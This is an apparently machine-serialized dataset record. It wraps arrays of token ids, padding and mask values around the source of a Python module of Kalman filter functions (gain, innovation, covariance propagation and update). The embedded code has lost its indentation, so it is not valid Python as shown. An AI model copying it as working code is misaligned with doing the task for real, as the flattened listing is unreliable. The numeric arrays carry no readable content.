32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
14320,
402,
28935,
14,
1666,
5113,
570,
367,
2615,
4248,
436,
32572,
2436,
14,
199,
199,
504,
28811,
492,
2986,
12,
1504,
12,
1709,
199,
504,
28811,
492,
12824,
63,
998,
199,
504,
28811,
14,
4795,
492,
3965,
421,
199,
533,
428,
1895,
4738,
8,
992,
14,
1685,
304,
272,
485,
6486,
275,
283,
8515,
14,
1648,
7,
339,
26963,
63,
1580,
275,
1504,
14,
4395,
18,
3479,
360,
6271,
14,
16886,
297,
283,
8515,
63,
1648,
63,
344,
297,
1059,
534,
4527,
677,
83,
297,
2881,
11699,
929,
297,
6291,
283,
4456,
2665,
6863,
29,
549,
12,
1331,
29,
797,
9,
272,
26963,
63,
835,
275,
1504,
14,
2674,
10064,
402,
7910,
677,
83,
401,
4526,
17574,
3357,
63,
16886,
63,
835,
297,
4526,
63,
12095,
29,
549,
9,
339,
768,
1246,
14,
1238,
272,
347,
485,
354,
63,
1733,
8,
277,
12,
536,
4581,
1249,
29,
403,
12,
4182,
534,
27774,
297,
2304,
29,
1960,
12,
536,
63,
362,
63,
1535,
29,
403,
304,
267,
408,
2104,
26963,
12,
781,
2934,
370,
2498,
1006,
21702,
1865,
1325,
1454,
3932,
536,
63,
362,
334,
889,
8190,
14,
2200,
6781,
395,
642,
365,
314,
1454,
4340,
370,
886,
652,
14,
408,
267,
340,
291,
423,
1100,
14,
362,
360,
8515,
63,
16886,
63,
452,
63,
1648,
735,
288,
2881,
275,
3965,
14,
3649,
779,
589,
503,
990,
788,
16749,
661,
929,
297,
6291,
283,
8515,
659,
661,
4627,
63,
344,
297,
283,
262,
297,
291,
14,
1813,
14,
863,
23461,
14,
1580,
1874,
566,
288,
372,
1613,
8,
30005,
4738,
12,
291,
14,
12095,
1012,
423,
354,
63,
1733,
8,
354,
29,
354,
12,
1249,
29,
2261,
12,
4182,
29,
3856,
12,
2304,
29,
3097,
12,
536,
63,
362,
63,
1535,
29,
20710,
63,
998,
9,
267,
372,
1613,
8,
30005,
4738,
12,
291,
10445,
354,
63,
1733,
8,
354,
29,
354,
12,
1249,
29,
589,
12,
4182,
29,
3856,
12,
2304,
29,
3097,
12,
536,
63,
362,
63,
1535,
29,
354,
63,
362,
63,
1535,
9,
339,
768,
1246,
14,
8912,
360,
16886,
63,
1580,
358,
272,
347,
485,
3357,
63,
16886,
63,
835,
8,
277,
304,
267,
26963,
63,
576,
275,
291,
14,
1813,
459,
6271,
14,
16886,
2278,
739,
63,
923,
8318,
8515,
63,
1648,
63,
344,
297,
283,
262,
297,
291,
14,
1580,
4360,
788,
8515,
63,
1648,
63,
344,
995,
788,
8515,
63,
1648,
63,
344,
1105,
267,
9994,
63,
576,
275,
1211,
7694,
1053,
459,
8515,
63,
1648,
63,
344,
3488,
16,
467,
1242,
459,
8515,
63,
1648,
63,
344,
63,
835,
1105,
367,
1242,
315,
26963,
63,
576,
566,
267,
367,
13590,
63,
1648,
315,
291,
26,
288,
13590,
63,
1648,
14,
16886,
63,
835,
275,
9994,
63,
576,
14,
362,
8,
8515,
63,
1648,
14,
344,
12,
378,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
DStauffman/dstauffman
|
dstauffman/estimation/kalman.py
|
1
|
8438
|
r"""
Functions related to Kalman Filter analysis.
Notes
-----
#. Written by David C. Stauffer in April 2019.
"""
#%% Imports
import doctest
import unittest
from dstauffman import HAVE_NUMPY
from dstauffman.numba import ncjit
from dstauffman.estimation.linalg import mat_divide
if HAVE_NUMPY:
import numpy as np
#%% Functions - calculate_kalman_gain
def calculate_kalman_gain(P, H, R, *, use_inverse=False, return_innov_cov=False):
r"""
Calculates K, the Kalman Gain matrix.
Parameters
----------
P : (N, N) ndarray
Covariance Matrix
H : (A, B) ndarray
Measurement Update Matrix
R : () ndarray
Measurement Noise Matrix
use_inverse : bool, optional
Whether to explicitly calculate the inverse or not, default is False
Returns
-------
K : (N, ) ndarray
Kalman Gain Matrix
Pz : (N, N) ndarray
Innovation Covariance Matrix
Notes
-----
#. Written by David C Stauffer in December 2018.
Examples
--------
>>> from dstauffman.estimation import calculate_kalman_gain
>>> import numpy as np
>>> P = 1e-3 * np.eye(5)
>>> H = np.array([[1, 0, 0], [0, 1, 0], [0, 0, 1], [0.5, 0.5, 0.5], [0, 0, 0.1]]).T
>>> R = 0.5 * np.eye(3)
>>> K = calculate_kalman_gain(P, H, R)
"""
# calculate the innovation covariance
Pz = H @ P @ H.T + R
if use_inverse:
# explicit version with inverse
K = (P @ H.T) @ np.linalg.inv(Pz)
else:
# implicit solver
K = mat_divide(Pz.T, (P @ H.T).T).T
# return desired results
if return_innov_cov:
return (K, Pz)
return K
@ncjit
def calculate_kalman_gain_opt(P, H, R):
r"""Calculate the Kalman gain, in a way optimized for use with numba."""
Pz = H @ P @ H.T + R
K = mat_divide(Pz.T, (P @ H.T).T).T
return (K, Pz)
#%% Functions - calculate_prediction
@ncjit
def calculate_prediction(H, state, const=None):
r"""
Calculates u, the measurement prediction.
Parameters
----------
H : (A, B) ndarray
Measurement Update matrix
state : (A, ) ndarray
State vector
const : (A, ) ndarray, optional
Constant state vector offsets
Returns
-------
(A, ) ndarray
Delta state vector
Notes
-----
#. Written by David C. Stauffer in September 2020.
Examples
--------
>>> from dstauffman.estimation import calculate_prediction
>>> import numpy as np
>>> H = np.array([[1., 0.], [0., 1.], [0., 0.]])
>>> state = np.array([1e-3, 5e-3])
>>> u_pred = calculate_prediction(H, state)
>>> print(u_pred) # doctest: +NORMALIZE_WHITESPACE
[0.001 0.005 0. ]
"""
if const is None:
return H @ state
return H @ (state + const)
#%% Functions - calculate_innovation
@ncjit
def calculate_innovation(u_meas, u_pred):
r"""
Calculates z, the Kalman Filter innovation.
Parameters
----------
u_meas : (A, ) ndarray
Measured state vector
u_pred : (A, ) ndarray
Predicted state vector
Returns
-------
(A, ) ndarray
Kalman Filter innovation
Notes
-----
#. Written by David C. Stauffer in September 2020.
Examples
--------
>>> from dstauffman.estimation import calculate_innovation
>>> import numpy as np
>>> u_meas = np.array([1., 2.1, -3.])
>>> u_pred = np.array([1.1, 2.0, -3.1])
>>> z = calculate_innovation(u_meas, u_pred)
>>> with np.printoptions(precision=8):
... print(z) # doctest: +NORMALIZE_WHITESPACE
[-0.1 0.1 0.1]
"""
return u_meas - u_pred
#%% Functions - calculate_normalized_innovation
@ncjit
def calculate_normalized_innovation(z, Pz, use_inverse=False):
r"""
Calculates nu, the Normalized Kalman Filter Innovation.
Parameters
----------
z : (A, ) ndarray
Kalman Filter innovation
Pz : (A, A) ndarray
Kalman Filter innovation covariance
use_inverse : bool, optional
Whether to explicitly calculate the inverse or not, default is False
Returns
-------
(A, ) ndarray
Normalized innovation
Notes
-----
#. Written by David C. Stauffer in September 2020.
Examples
--------
>>> from dstauffman.estimation import calculate_normalized_innovation
>>> import numpy as np
>>> z = np.array([0.1, 0.05, -0.2])
>>> Pz = np.array([[0.1, 0.01, 0.001], [0.01, 0.1, 0.001], [0., 0., 0.2]])
>>> nu = calculate_normalized_innovation(z, Pz)
>>> with np.printoptions(precision=8):
... print(nu) # doctest: +NORMALIZE_WHITESPACE
[ 0.96868687 0.41313131 -1. ]
"""
if use_inverse:
return np.linalg.inv(Pz) @ z
return mat_divide(Pz, z)
#%% Functions - calculate_delta_state
@ncjit
def calculate_delta_state(K, z):
r"""
Calculates dx, the delta state for a given measurement.
Parameters
----------
K : (A, B) ndarray
Kalman Gain Matrix
z : (A, ) ndarray
Kalman Filter innovation
Notes
-----
#. Written by David C. Stauffer in September 2020.
Examples
--------
>>> from dstauffman.estimation import calculate_delta_state
>>> import numpy as np
>>> K = np.array([[0.1, 0.01, 0.001], [0.01, 0.1, 0.001], [0., 0., 0.2]])
>>> z = np.array([0.1, 0.05, -0.2])
>>> dx = calculate_delta_state(K, z)
>>> with np.printoptions(precision=8):
... print(dx) # doctest: +NORMALIZE_WHITESPACE
[ 0.0103 0.0058 -0.04 ]
"""
return K @ z
#%% Functions - propagate_covariance
def propagate_covariance(P, phi, Q, *, gamma=None, inplace=True):
r"""
Propagates the covariance forward in time.
Parameters
----------
P :
Covariance matrix
phi :
State transition matrix
Q :
Process noise matrix
gamma :
Shaping matrix?
inplace : bool, optional, default is True
Whether to update the value inplace or as a new output
Returns
-------
(N, N) ndarray
Updated covariance matrix
Notes
-----
#. Written by David C. Stauffer in December 2018.
#. Updated by David C. Stauffer in July 2020 to have inplace option.
Examples
--------
>>> from dstauffman.estimation import propagate_covariance
>>> import numpy as np
>>> P = 1e-3 * np.eye(6)
>>> phi = np.diag([1., 1, 1, -1, -1, -1])
>>> Q = np.diag([1e-3, 1e-3, 1e-5, 1e-7, 1e-7, 1e-7])
>>> propagate_covariance(P, phi, Q)
>>> print(P[0, 0])
0.002
"""
if gamma is None:
out = phi @ P @ phi.T + Q
else:
out = phi @ P @ phi.T + gamma @ Q @ gamma.T
if inplace:
P[:] = out
else:
return out
@ncjit
def propagate_covariance_opt(P, phi, Q, gamma=None):
r"""Propagate the covariance in time, in a way optimized for use with numba."""
if gamma is None:
P[:] = phi @ P @ phi.T + Q
else:
P[:] = phi @ P @ phi.T + gamma @ Q @ gamma.T
#%% Functions - update_covariance
def update_covariance(P, K, H, *, inplace=True):
r"""
Updates the covariance for a given measurement.
Parameters
----------
P : (N, N) ndarray
Covariance Matrix
K : (N, ) ndarray
Kalman Gain Matrix
H : (A, N) ndarray
Measurement Update Matrix
inplace : bool, optional, default is True
Whether to update the value inplace or as a new output
Returns
-------
P_out : (N, N) ndarray
Updated Covariance Matrix
Notes
-----
#. Written by David C Stauffer in December 2018.
#. Updated by David C. Stauffer in July 2020 to have inplace option.
Examples
--------
>>> from dstauffman.estimation import update_covariance
>>> import numpy as np
>>> P = 1e-3 * np.eye(6)
>>> P[0, -1] = 5e-2
>>> K = np.ones((6, 3))
>>> H = np.hstack((np.eye(3), np.eye(3)))
>>> update_covariance(P, K, H)
>>> print(P[-1, -1])
-0.05
"""
out = (np.eye(*P.shape) - K @ H) @ P
if inplace:
P[:] = out
else:
return out
@ncjit
def update_covariance_opt(P, K, H):
r"""Propagate the covariance in time, in a way optimized for use with numba."""
P[:] = (np.eye(*P.shape) - K @ H) @ P
#%% Unit Test
if __name__ == '__main__':
unittest.main(module='dstauffman.tests.test_estimation_kalman', exit=False)
doctest.testmod(verbose=False)
|
lgpl-3.0
|
[
82,
624,
199,
13967,
4048,
370,
1804,
279,
1237,
9388,
11284,
14,
199,
199,
18685,
199,
9858,
199,
31827,
221,
27694,
701,
20232,
445,
14,
7083,
85,
1260,
315,
437,
28026,
20312,
14,
199,
624,
199,
199,
3,
8530,
24339,
199,
646,
8868,
199,
646,
2882,
199,
199,
504,
366,
1207,
3043,
1237,
492,
25227,
63,
1440,
1658,
57,
199,
504,
366,
1207,
3043,
1237,
14,
1507,
2470,
492,
12698,
17676,
199,
199,
504,
366,
1207,
3043,
1237,
14,
597,
8182,
14,
10096,
492,
2530,
63,
16081,
199,
199,
692,
25227,
63,
1440,
1658,
57,
26,
272,
492,
2680,
465,
980,
199,
199,
3,
8530,
17471,
446,
8671,
63,
26446,
1237,
63,
13020,
199,
318,
8671,
63,
26446,
1237,
63,
13020,
8,
48,
12,
869,
12,
820,
12,
9889,
675,
63,
11668,
29,
797,
12,
372,
63,
262,
30442,
63,
8695,
29,
797,
304,
272,
519,
624,
272,
28562,
1804,
12,
314,
1804,
279,
1237,
598,
1581,
3634,
14,
339,
3897,
272,
4143,
272,
510,
520,
334,
46,
12,
653,
9,
6800,
267,
1849,
6221,
8449,
272,
869,
520,
334,
33,
12,
699,
9,
6800,
267,
22933,
434,
6162,
8449,
272,
820,
520,
6248,
6800,
267,
22933,
434,
3091,
572,
8449,
272,
675,
63,
11668,
520,
2155,
12,
2716,
267,
7480,
370,
7662,
8671,
314,
11484,
503,
440,
12,
849,
365,
756,
339,
1803,
272,
5514,
272,
1804,
520,
334,
46,
12,
776,
6800,
267,
1804,
279,
1237,
598,
1581,
8449,
272,
510,
90,
520,
334,
46,
12,
653,
9,
6800,
267,
1010,
889,
4255,
1849,
6221,
8449,
339,
8144,
272,
9063,
272,
327,
14,
221,
27694,
701,
20232,
445,
7083,
85,
1260,
315,
1487,
26381,
14894,
14,
339,
6058,
272,
3001,
272,
1306,
687,
366,
1207,
3043,
1237,
14,
597,
8182,
492,
8671,
63,
26446,
1237,
63,
13020,
272,
1306,
492,
2680,
465,
980,
272,
1306,
510,
275,
413,
69,
13,
19,
627,
980,
14,
15240,
8,
21,
9,
272,
1306,
869,
275,
980,
14,
1144,
4038,
17,
12,
378,
12,
378,
467,
359,
16,
12,
413,
12,
378,
467,
359,
16,
12,
378,
12,
413,
467,
359,
16,
14,
21,
12,
378,
14,
21,
12,
378,
14,
21,
467,
359,
16,
12,
378,
12,
378,
14,
17,
3934,
14,
52,
272,
1306,
820,
275,
378,
14,
21,
627,
980,
14,
15240,
8,
19,
9,
272,
1306,
1804,
275,
8671,
63,
26446,
1237,
63,
13020,
8,
48,
12,
869,
12,
820,
9,
339,
408,
272,
327,
8671,
314,
315,
889,
4255,
13263,
272,
510,
90,
275,
869,
768,
510,
768,
869,
14,
52,
435,
820,
272,
340,
675,
63,
11668,
26,
267,
327,
5027,
1015,
543,
11484,
267,
1804,
275,
334,
48,
768,
869,
14,
52,
9,
768,
980,
14,
10096,
14,
5350,
8,
48,
90,
9,
272,
587,
26,
267,
327,
9227,
10196,
267,
1804,
275,
2530,
63,
16081,
8,
48,
90,
14,
52,
12,
334,
48,
768,
869,
14,
52,
680,
52,
680,
52,
272,
327,
372,
6387,
2058,
272,
340,
372,
63,
262,
30442,
63,
8695,
26,
267,
372,
334,
43,
12,
510,
90,
9,
272,
372,
1804,
199,
199,
32,
7966,
17676,
199,
318,
8671,
63,
26446,
1237,
63,
13020,
63,
2992,
8,
48,
12,
869,
12,
820,
304,
272,
519,
624,
14860,
314,
1804,
279,
1237,
15334,
12,
315,
282,
4340,
20212,
367,
675,
543,
1967,
2470,
1041,
272,
510,
90,
275,
869,
768,
510,
768,
869,
14,
52,
435,
820,
272,
1804,
275,
2530,
63,
16081,
8,
48,
90,
14,
52,
12,
334,
48,
768,
869,
14,
52,
680,
52,
680,
52,
272,
372,
334,
43,
12,
510,
90,
9,
199,
199,
3,
8530,
17471,
446,
8671,
63,
14845,
199,
32,
7966,
17676,
199,
318,
8671,
63,
14845,
8,
40,
12,
1174,
12,
950,
29,
403,
304,
272,
519,
624,
272,
28562,
399,
12,
314,
18216,
12044,
14,
339,
3897,
272,
4143,
272,
869,
520,
334,
33,
12,
699,
9,
6800,
267,
22933,
434,
6162,
3634,
272,
1174,
520,
334,
33,
12,
776,
6800,
267,
8511,
5477,
272,
950,
520,
334,
33,
12,
776,
6800,
12,
2716,
267,
19991,
1174,
5477,
15340,
339,
1803,
272,
5514,
272,
334,
33,
12,
776,
6800,
267,
18464,
502,
1174,
5477,
339,
8144,
272,
9063,
272,
327,
14,
221,
27694,
701,
20232,
445,
14,
7083,
85,
1260,
315,
428,
1545,
31575,
25455,
14,
339,
6058,
272,
3001,
272,
1306,
687,
366,
1207,
3043,
1237,
14,
597,
8182,
492,
8671,
63,
14845,
272,
1306,
492,
2680,
465,
980,
272,
1306,
869,
275,
980,
14,
1144,
4038,
17,
2020,
378,
8333,
359,
16,
2020,
413,
8333,
359,
16,
2020,
378,
19450,
272,
1306,
1174,
275,
980,
14,
1144,
779,
17,
69,
13,
19,
12,
959,
69,
13,
19,
566,
272,
1306,
399,
63,
5991,
275,
8671,
63,
14845,
8,
40,
12,
1174,
9,
272,
1306,
870,
8,
85,
63,
5991,
9,
327,
8868,
26,
435,
10765,
11025,
63,
20620,
272,
359,
16,
14,
4587,
378,
14,
7972,
378,
14,
1622,
339,
408,
272,
340,
950,
365,
488,
26,
267,
372,
869,
768,
1174,
272,
372,
869,
768,
334,
929,
435,
950,
9,
199,
199,
3,
8530,
17471,
446,
8671,
63,
262,
889,
4255,
199,
32,
7966,
17676,
199,
318,
8671,
63,
262,
889,
4255,
8,
85,
63,
19116,
12,
399,
63,
5991,
304,
272,
519,
624,
272,
28562,
1315,
12,
314,
1804,
279,
1237,
9388,
315,
889,
4255,
14,
339,
3897,
272,
4143,
272,
399,
63,
19116,
520,
334,
33,
12,
776,
6800,
267,
3194,
305,
3297,
1174,
5477,
272,
399,
63,
5991,
520,
334,
33,
12,
776,
6800,
267,
5543,
328,
1522,
1174,
5477,
339,
1803,
272,
5514,
272,
334,
33,
12,
776,
6800,
267,
1804,
279,
1237,
9388,
315,
889,
4255,
339,
8144,
272,
9063,
272,
327,
14,
221,
27694,
701,
20232,
445,
14,
7083,
85,
1260,
315,
428,
1545,
31575,
25455,
14,
339,
6058,
272,
3001,
272,
1306,
687,
366,
1207,
3043,
1237,
14,
597,
8182,
492,
8671,
63,
262,
889,
4255,
272,
1306,
492,
2680,
465,
980,
272,
1306,
399,
63,
19116,
275,
980,
14,
1144,
779,
17,
2020,
499,
14,
17,
12,
446,
19,
14444,
272,
1306,
399,
63,
5991,
275,
980,
14,
1144,
779,
17,
14,
17
] |
[
624,
199,
13967,
4048,
370,
1804,
279,
1237,
9388,
11284,
14,
199,
199,
18685,
199,
9858,
199,
31827,
221,
27694,
701,
20232,
445,
14,
7083,
85,
1260,
315,
437,
28026,
20312,
14,
199,
624,
199,
199,
3,
8530,
24339,
199,
646,
8868,
199,
646,
2882,
199,
199,
504,
366,
1207,
3043,
1237,
492,
25227,
63,
1440,
1658,
57,
199,
504,
366,
1207,
3043,
1237,
14,
1507,
2470,
492,
12698,
17676,
199,
199,
504,
366,
1207,
3043,
1237,
14,
597,
8182,
14,
10096,
492,
2530,
63,
16081,
199,
199,
692,
25227,
63,
1440,
1658,
57,
26,
272,
492,
2680,
465,
980,
199,
199,
3,
8530,
17471,
446,
8671,
63,
26446,
1237,
63,
13020,
199,
318,
8671,
63,
26446,
1237,
63,
13020,
8,
48,
12,
869,
12,
820,
12,
9889,
675,
63,
11668,
29,
797,
12,
372,
63,
262,
30442,
63,
8695,
29,
797,
304,
272,
519,
624,
272,
28562,
1804,
12,
314,
1804,
279,
1237,
598,
1581,
3634,
14,
339,
3897,
272,
4143,
272,
510,
520,
334,
46,
12,
653,
9,
6800,
267,
1849,
6221,
8449,
272,
869,
520,
334,
33,
12,
699,
9,
6800,
267,
22933,
434,
6162,
8449,
272,
820,
520,
6248,
6800,
267,
22933,
434,
3091,
572,
8449,
272,
675,
63,
11668,
520,
2155,
12,
2716,
267,
7480,
370,
7662,
8671,
314,
11484,
503,
440,
12,
849,
365,
756,
339,
1803,
272,
5514,
272,
1804,
520,
334,
46,
12,
776,
6800,
267,
1804,
279,
1237,
598,
1581,
8449,
272,
510,
90,
520,
334,
46,
12,
653,
9,
6800,
267,
1010,
889,
4255,
1849,
6221,
8449,
339,
8144,
272,
9063,
272,
327,
14,
221,
27694,
701,
20232,
445,
7083,
85,
1260,
315,
1487,
26381,
14894,
14,
339,
6058,
272,
3001,
272,
1306,
687,
366,
1207,
3043,
1237,
14,
597,
8182,
492,
8671,
63,
26446,
1237,
63,
13020,
272,
1306,
492,
2680,
465,
980,
272,
1306,
510,
275,
413,
69,
13,
19,
627,
980,
14,
15240,
8,
21,
9,
272,
1306,
869,
275,
980,
14,
1144,
4038,
17,
12,
378,
12,
378,
467,
359,
16,
12,
413,
12,
378,
467,
359,
16,
12,
378,
12,
413,
467,
359,
16,
14,
21,
12,
378,
14,
21,
12,
378,
14,
21,
467,
359,
16,
12,
378,
12,
378,
14,
17,
3934,
14,
52,
272,
1306,
820,
275,
378,
14,
21,
627,
980,
14,
15240,
8,
19,
9,
272,
1306,
1804,
275,
8671,
63,
26446,
1237,
63,
13020,
8,
48,
12,
869,
12,
820,
9,
339,
408,
272,
327,
8671,
314,
315,
889,
4255,
13263,
272,
510,
90,
275,
869,
768,
510,
768,
869,
14,
52,
435,
820,
272,
340,
675,
63,
11668,
26,
267,
327,
5027,
1015,
543,
11484,
267,
1804,
275,
334,
48,
768,
869,
14,
52,
9,
768,
980,
14,
10096,
14,
5350,
8,
48,
90,
9,
272,
587,
26,
267,
327,
9227,
10196,
267,
1804,
275,
2530,
63,
16081,
8,
48,
90,
14,
52,
12,
334,
48,
768,
869,
14,
52,
680,
52,
680,
52,
272,
327,
372,
6387,
2058,
272,
340,
372,
63,
262,
30442,
63,
8695,
26,
267,
372,
334,
43,
12,
510,
90,
9,
272,
372,
1804,
199,
199,
32,
7966,
17676,
199,
318,
8671,
63,
26446,
1237,
63,
13020,
63,
2992,
8,
48,
12,
869,
12,
820,
304,
272,
519,
624,
14860,
314,
1804,
279,
1237,
15334,
12,
315,
282,
4340,
20212,
367,
675,
543,
1967,
2470,
1041,
272,
510,
90,
275,
869,
768,
510,
768,
869,
14,
52,
435,
820,
272,
1804,
275,
2530,
63,
16081,
8,
48,
90,
14,
52,
12,
334,
48,
768,
869,
14,
52,
680,
52,
680,
52,
272,
372,
334,
43,
12,
510,
90,
9,
199,
199,
3,
8530,
17471,
446,
8671,
63,
14845,
199,
32,
7966,
17676,
199,
318,
8671,
63,
14845,
8,
40,
12,
1174,
12,
950,
29,
403,
304,
272,
519,
624,
272,
28562,
399,
12,
314,
18216,
12044,
14,
339,
3897,
272,
4143,
272,
869,
520,
334,
33,
12,
699,
9,
6800,
267,
22933,
434,
6162,
3634,
272,
1174,
520,
334,
33,
12,
776,
6800,
267,
8511,
5477,
272,
950,
520,
334,
33,
12,
776,
6800,
12,
2716,
267,
19991,
1174,
5477,
15340,
339,
1803,
272,
5514,
272,
334,
33,
12,
776,
6800,
267,
18464,
502,
1174,
5477,
339,
8144,
272,
9063,
272,
327,
14,
221,
27694,
701,
20232,
445,
14,
7083,
85,
1260,
315,
428,
1545,
31575,
25455,
14,
339,
6058,
272,
3001,
272,
1306,
687,
366,
1207,
3043,
1237,
14,
